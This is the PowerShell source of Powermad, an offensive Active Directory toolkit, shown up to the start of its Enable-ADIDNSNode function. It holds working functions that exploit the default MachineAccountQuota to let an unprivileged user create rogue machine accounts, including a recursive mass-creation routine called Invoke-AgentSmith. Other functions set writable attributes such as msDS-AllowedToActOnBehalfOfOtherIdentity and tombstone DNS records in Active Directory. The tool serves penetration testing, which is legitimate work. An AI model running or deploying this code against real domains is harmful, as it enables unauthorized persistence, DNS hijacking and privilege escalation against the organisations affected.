<# Powermad - PowerShell MachineAccountQuota and DNS exploit tools Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause https://github.com/Kevin-Robertson/Powermad #> #region begin MachineAccountQuota Functions function Disable-MachineAccount { <# .SYNOPSIS This function disables a machine account that was added through New-MachineAccount. This function should be used with the same user that created the machine account. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is just left in a disabled state. This function provides that ability by setting the AccountDisabled to true. Ideally, the account is removed after elevating privilege. .PARAMETER Credential PSCredential object that will be used to disable the machine account. .PARAMETER DistinguishedName Distinguished name for the computers OU. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER MachineAccount The username of the machine account that will be disabled. .EXAMPLE Disable a machine account named test. Disable-MachineAccount -MachineAccount test .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$MachineAccount, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if($MachineAccount.EndsWith('$')) { $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) } else { $machine_account = $MachineAccount } if(!$DistinguishedName) { $distinguished_name = "CN=$machine_account,CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } if(!$directory_entry.InvokeGet("AccountDisabled")) { try { $directory_entry.InvokeSet("AccountDisabled","True") $directory_entry.SetInfo() Write-Output "[+] Machine account $MachineAccount disabled" } catch { Write-Output "[-] $($_.Exception.Message)" } } else { Write-Output "[-] Machine account $MachineAccount is already disabled" } if($directory_entry.Path) { $directory_entry.Close() } } function Enable-MachineAccount { <# .SYNOPSIS This function enables a machine account that was disabled through Disable-MachineAccount. This function should be used with the same user that created the machine account. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function sets a machine account's AccountDisabled attribute to false. .PARAMETER Credential PSCredential object that will be used to disable the machine account. .PARAMETER DistinguishedName Distinguished name for the computers OU. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER MachineAccount The username of the machine account that will be enabled. .EXAMPLE Enable a machine account named test. Enable-MachineAccount -MachineAccount test .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$MachineAccount, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if($MachineAccount.EndsWith('$')) { $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) } else { $machine_account = $MachineAccount } if(!$DistinguishedName) { $distinguished_name = "CN=$machine_account,CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } if($directory_entry.InvokeGet("AccountDisabled")) { try { $directory_entry.InvokeSet("AccountDisabled","False") $directory_entry.SetInfo() Write-Output "[+] Machine account $MachineAccount enabled" } catch { Write-Output "[-] $($_.Exception.Message)" } } else { Write-Output "[-] Machine account $MachineAccount is already enabled" } if($directory_entry.Path) { $directory_entry.Close() } } function Get-MachineAccountAttribute { <# .SYNOPSIS This function can return values populated in machine account attributes. .DESCRIPTION This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Credential PSCredential object that will be used to read the attribute. .PARAMETER DistinguishedName Distinguished name for the computers OU. .PARAMETER Domain The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter requires a DNS domain name and not a NetBIOS version. .PARAMETER DomainController The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER MachineAccount The username of the machine account that will be modified. .PARAMETER Attribute The machine account attribute. .EXAMPLE Get the value of the description attribute from a machine account named test. Get-MachineAccountAttribute -MachineAccount test -Attribute description .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$MachineAccount, [parameter(Mandatory=$true)][String]$Attribute, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if($MachineAccount.EndsWith('$')) { $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) } else { $machine_account = $MachineAccount } if(!$DistinguishedName) { $distinguished_name = "CN=$machine_account,CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $output = $directory_entry.InvokeGet($Attribute) } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } return $output } function Get-MachineAccountCreator { <# .SYNOPSIS This function leverages the ms-DS-CreatorSID property on machine accounts to return a list of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only populated when a machine account is created by an unprivileged user. Note that SIDs will be returned over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier. .DESCRIPTION This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before using New-MachineAccount. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Credential PSCredential object that will be used enumerate machine account creators. .PARAMETER DistinguishedName Distinguished name for the computers OU. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .EXAMPLE Get the ms-DS-CreatorSID values for a domain. Get-MachineAccountCreator .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$DistinguishedName) { $distinguished_name = "CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } try { if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher $machine_account_searcher.SearchRoot = $directory_entry $machine_account_searcher.PageSize = 1000 $machine_account_searcher.Filter = '(&(ms-ds-creatorsid=*))' $machine_account_searcher.SearchScope = 'Subtree' $machine_accounts = $machine_account_searcher.FindAll() $creator_object_list = @() ForEach($account in $machine_accounts) { $creator_SID_object = $account.properties."ms-ds-creatorsid" if($creator_SID_object) { $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value $creator_object = New-Object PSObject try { if($Credential) { $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) $creator_account_array = $($creator_account.distinguishedName).Split(",") $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3) } else { $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value } Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username } catch { Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID } Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.name[0] $creator_object_list += $creator_object $creator_SID_object = $null } } } catch { Write-Output "[-] $($_.Exception.Message)" throw } Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize if($directory_entry.Path) { $directory_entry.Close() } } function Invoke-AgentSmith { <# .SYNOPSIS This function leverages New-MachineAccount to recursively create as as many machine accounts as possible from a single unprivileged account through MachineAccountQuota. With a default MachineAccountQuota of 10, the most common result will be 110 accounts. This is due to the transitive quota of Q + Q * 1 where Q equals the MachineAccountQuota setting. The transitive quota can often be exceeded to the total number of created accounts can vary. I wouldn't recommend running this one on a client network unless you have a good reason. .DESCRIPTION This function leverages New-MachineAccount to recursively create as as many machine accounts as possible from a single unprivileged account through MachineAccountQuota. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Credential PSCredential object that will be used enumerate machine account creators. .PARAMETER DistinguishedName Distinguished name for the computers OU. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Domain The targeted domain in netBIOS format. This will be used to create the PSCredential object as the function cycles through the machine accounts. .PARAMETER MachineAccountPrefix The prefix for the machine account names. The prefix will be incremented by one for each account creation attempt. .PARAMETER MachineAccountQuota The domain's MachineAccountQuota setting. .PARAMETER NoWarning Switch to remove the warning prompt. .PARAMETER Password The securestring of the password for the machine accounts. .PARAMETER Sleep The delay in milliseconds between account creation attempts. .EXAMPLE Invoke-AgentSmith -MachineAccountPrefix test .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][String]$NetBIOSDomain, [parameter(Mandatory=$false)][String]$MachineAccountPrefix = "AgentSmith", [parameter(Mandatory=$false)][Int]$MachineAccountQuota = 10, [parameter(Mandatory=$false)][Int]$Sleep = 0, [parameter(Mandatory=$false)][System.Security.SecureString]$Password, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(Mandatory=$false)][Switch]$NoWarning, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) $i = 0 $j = 1 $k = 1 $MachineAccountQuota-- if(!$NoWarning) { $confirm_invoke = Read-Host -Prompt "Are you sure you want to do this? (Y/N)" } if(!$Password) { $password = Read-Host -Prompt "Enter a password for the new machine accounts" -AsSecureString } if(!$NetBIOSDomain) { try { $NetBIOSDomain = (Get-ChildItem -path env:userdomain).Value } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if($confirm_invoke -eq 'Y' -or $NoWarning) { :main_loop while($i -le $MachineAccountQuota) { $MachineAccount = $MachineAccountPrefix + $j try { $output = New-MachineAccount -MachineAccount $MachineAccount -Credential $Credential -Password $Password -Domain $Domain -DomainController $DomainController -DistinguishedName $DistinguishedName if($output -like "*The server cannot handle directory requests*") { Write-Output "[-] Limit reached with $account" $switch_account = $true $j-- } else { Write-Output $output $success = $j } } catch { if($_.Exception.Message -like "*The supplied credential is invalid*") { if($j -gt $success) { Write-Output "[-] Machine account $account was not added" Write-Output "[-] No remaining machine accounts to try" Write-Output "[+] Total machine accounts added = $($j - 1)" break main_loop } $switch_account = $true $j-- } else { Write-Output "[-] $($_.Exception.Message)" } } if($i -eq 0) { $account = "$NetBIOSDomain\$MachineAccountPrefix" + $k + "$" } if($i -eq $MachineAccountQuota -or $switch_account) { Write-Output "[*] Trying machine account $account" $credential = New-Object System.Management.Automation.PSCredential ($account, $password) $i = 0 $k++ $switch_account = $false } else { $i++ } $j++ Start-Sleep -Milliseconds $Sleep } } else { Write-Output "[-] Function exited without adding machine accounts" } } function New-MachineAccount { <# .SYNOPSIS This function adds a machine account with a specified password to Active Directory through an encrypted LDAP add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota). Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added directly through an LDAP connection to a domain controller and not by attaching the host system to Active Directory. This function does not modify the domain attachment and machine account associated with the host system. Note that you will not be able to remove the account without elevating privilege. You can however disable the account as long as you maintain access to the account used to create the machine account. .PARAMETER Credential PSCredential object that will be used to create the machine account. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER DistinguishedName Distinguished name for the computers OU. .PARAMETER MachineAccount The machine account that will be added. .PARAMETER Password The securestring of the password for the machine account. .EXAMPLE Add a machine account named test. New-MachineAccount -MachineAccount test .EXAMPLE Add a machine account named test with a password of Summer2018!. $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force New-MachineAccount -MachineAccount test -Password $machine_account_password .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$MachineAccount, [parameter(Mandatory=$false)][System.Security.SecureString]$Password, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") if(!$Password) { $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString } $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } $Domain = $Domain.ToLower() $machine_account = $MachineAccount if($MachineAccount.EndsWith('$')) { $sam_account = $machine_account $machine_account = $machine_account.SubString(0,$machine_account.Length - 1) } else { $sam_account = $machine_account + "$" } Write-Verbose "[+] SAMAccountName = $sam_account" if(!$DistinguishedName) { $distinguished_name = "CN=$machine_account,CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"') $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) if($Credential) { $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) } else { $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) } $connection.SessionOptions.Sealing = $true $connection.SessionOptions.Signing = $true $connection.Bind() $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest $request.DistinguishedName = $distinguished_name $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain", "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null Remove-Variable password_cleartext try { $connection.SendRequest($request) > $null Write-Output "[+] Machine account $MachineAccount added" } catch { Write-Output "[-] $($_.Exception.Message)" if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*') { Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit" } } if($directory_entry.Path) { $directory_entry.Close() } } function Remove-MachineAccount { <# .SYNOPSIS This function removes a machine account with a privileged account. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is just left in a disabled state. This function provides the ability to delete a machine account once a privileged account has been obtained. .PARAMETER Credential PSCredential object that will be used to delete the ADIDNS node. .PARAMETER DistinguishedName Distinguished name for the ADIDNS node. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER MachineAccount The machine account that will be removed. .EXAMPLE Remove a machine account named test with domain admin credentials. Remove-MachineAccount -MachineAccount test -Credential $domainadmin .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$MachineAccount, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if($MachineAccount.EndsWith('$')) { $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) } else { $machine_account = $MachineAccount } if(!$DistinguishedName) { $distinguished_name = "CN=$machine_account,CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $directory_entry.psbase.DeleteTree() Write-Output "[+] Machine account $MachineAccount removed" } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } function Set-MachineAccountAttribute { <# .SYNOPSIS This function can populate an attribute for an account that was added through New-MachineAccount. Write access to the attribute is required. This function should be used with the same user that created the machine account. .DESCRIPTION The user account that creates a machine account is granted write access to some attributes. These attributes can be leveraged to help an added machine account blend in better or change values that were restricted by validation when the account was created. Here is a list of some of the usual write access enabled attributes: AccountDisabled description displayName DnsHostName ServicePrincipalName userParameters userAccountControl msDS-AdditionalDnsHostName msDS-AllowedToActOnBehalfOfOtherIdentity SamAccountName Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Append Switch: Appends a value rather than overwriting. .PARAMETER Credential PSCredential object that will be used to modify the attribute. .PARAMETER DistinguishedName Distinguished name for the computers OU. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER MachineAccount The username of the machine account that will be modified. .PARAMETER Attribute The machine account attribute. .PARAMETER Value The machine account attribute value. .EXAMPLE Set the description attribute to a value of "test value" on a machine account named test. Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value" .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$MachineAccount, [parameter(Mandatory=$true)][String]$Attribute, [parameter(Mandatory=$true)]$Value, [parameter(Mandatory=$false)][Switch]$Append, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if($MachineAccount.EndsWith('$')) { $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) } else { $machine_account = $MachineAccount } if(!$DistinguishedName) { $distinguished_name = "CN=$machine_account,CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { if($Append) { $directory_entry.$Attribute.Add($Value) > $null $directory_entry.SetInfo() Write-Output "[+] Machine account $machine_account attribute $Attribute appended" } else { $directory_entry.InvokeSet($Attribute,$Value) $directory_entry.SetInfo() Write-Output "[+] Machine account $machine_account attribute $Attribute updated" } } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } #endregion #region begin DNS Functions function Disable-ADIDNSNode { <# .SYNOPSIS This function can tombstone an ADIDNS node. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the dnsRecord attribute to a zero type array. Note that the node remains in AD. .PARAMETER Credential PSCredential object that will be used to tombstone the DNS node. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER SOASerialNumber The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a DNS server and querying an SOA record. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Tombstone a wildcard record. Disable-ADIDNSNode -Node * .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][Int32]$SOASerialNumber, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } try { $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber } catch { Write-Output "[-] $($_.Exception.Message)" throw } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + $SOASerialNumberArray[0..3] + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $timestamp Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))" try { $directory_entry.InvokeSet('dnsRecord',$DNS_record) $directory_entry.InvokeSet('dnsTombstoned',$true) $directory_entry.SetInfo() Write-Output "[+] ADIDNS node $Node tombstoned" } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } function Enable-ADIDNSNode { <# .SYNOPSIS This function can turn a tombstoned node back into a valid record. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can turn a 